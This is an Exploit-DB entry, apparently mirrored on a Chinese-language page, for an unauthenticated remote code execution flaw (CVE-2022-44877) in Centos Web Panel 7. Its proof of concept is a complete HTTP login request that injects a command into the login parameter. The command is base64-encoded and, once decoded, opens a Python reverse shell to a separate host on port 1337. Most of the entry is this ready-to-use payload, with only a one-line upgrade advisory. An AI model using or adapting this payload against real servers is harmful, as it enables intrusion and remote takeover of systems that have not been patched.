Centos Web Panel 7 v0.9.8.1147 – Unauthenticated Remote Code Execution (RCE)

• Exploit Database
• 14 阅读

• 作者： numan türle
  日期： 2023-04-01
• 类别：

  • webapps
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/51194/

• [+] Exploit Title: Centos Web Panel 7 v0.9.8.1147 - Unauthenticated Remote Code Execution (RCE)
  [+] Centos Web Panel 7 - < 0.9.8.1147
  [+] Affected Component ip:2031/login/index.php?login=$(whoami)
  [+] Discoverer: Numan Türle @ Gais Cyber Security
  [+] Author: Numan Türle
  [+] Vendor: https://centos-webpanel.com/ - https://control-webpanel.com/changelog#1669855527714-450fb335-6194
  [+] CVE: CVE-2022-44877
  
  
  Description
  --------------
  Bash commands can be run because double quotes are used to log incorrect entries to the system.
  
  Video Proof of Concept
  --------------
  https://www.youtube.com/watch?v=kiLfSvc1SYY
  
  
  Proof of concept:
  --------------
  POST /login/index.php?login=$(echo${IFS}cHl0aG9uIC1jICdpbXBvcnQgc29ja2V0LHN1YnByb2Nlc3Msb3M7cz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSk7cy5jb25uZWN0KCgiMTAuMTMuMzcuMTEiLDEzMzcpKTtvcy5kdXAyKHMuZmlsZW5vKCksMCk7IG9zLmR1cDIocy5maWxlbm8oKSwxKTtvcy5kdXAyKHMuZmlsZW5vKCksMik7aW1wb3J0IHB0eTsgcHR5LnNwYXduKCJzaCIpJyAg${IFS}|${IFS}base64${IFS}-d${IFS}|${IFS}bash) HTTP/1.1
  Host: 10.13.37.10:2031
  Cookie: cwpsrv-2dbdc5905576590830494c54c04a1b01=6ahj1a6etv72ut1eaupietdk82
  Content-Length: 40
  Origin: https://10.13.37.10:2031
  Content-Type: application/x-www-form-urlencoded
  User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
  Referer: https://10.13.37.10:2031/login/index.php?login=failed
  Accept-Encoding: gzip, deflate
  Accept-Language: en
  Connection: close
  
  username=root&password=toor&commit=Login
  --------------
  
  Solution
  --------
  Upgrade to CWP7 current version